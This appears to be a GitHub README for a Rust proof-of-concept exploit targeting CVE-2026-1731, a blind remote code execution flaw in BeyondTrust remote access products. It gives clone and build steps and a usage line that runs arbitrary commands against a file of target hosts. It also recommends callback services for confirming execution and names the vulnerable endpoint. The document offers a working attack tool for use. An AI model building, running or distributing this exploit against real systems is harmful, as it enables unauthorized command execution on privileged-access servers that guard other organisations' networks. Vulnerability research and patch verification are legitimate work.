jakubie07/cve-2026-1731Proof-of-concept exploit for CVE-2026-1731, a blind RCE in BeyondTrust Privileged Remote Access and Remote Support, allowing remote command execution on vulnerable versions.
For further information I recommend you read the analysis by attackerkb.com.
You will need to following tools to build this PoC: Git, rust
git clone https://github.com/jakubie07/CVE-2026-1731.git
cd CVE-2026-1731
cargo build --release
CVE-2026-1731 binary will be located in target/releasecd target/release
chmod +x ./CVE-2026-1731
./CVE-2026-1731 -h
cd target/release
./CVE-2026-1731.exe -h
You can run ./CVE-2026-1731 -h to view a list of options available
./CVE-2026-1731 --targets targets.txt --command "whoami"
Note: Since CVE-2026-1731 is a blind RCE there is no response sent back form the host that can be used as an indicator of vulnerability. A request can be successful but a target that is not vulnerabile will not trigger RCE. It is recommended you use a service like webhook.site or PortSwigger's Burp Collaborator for testing against targets. A failure or success in this PoC is based on whether the server responds with a status code 200 or not.
GET /get_rdf?comp=sdcust&locale_code=en-us endpoint.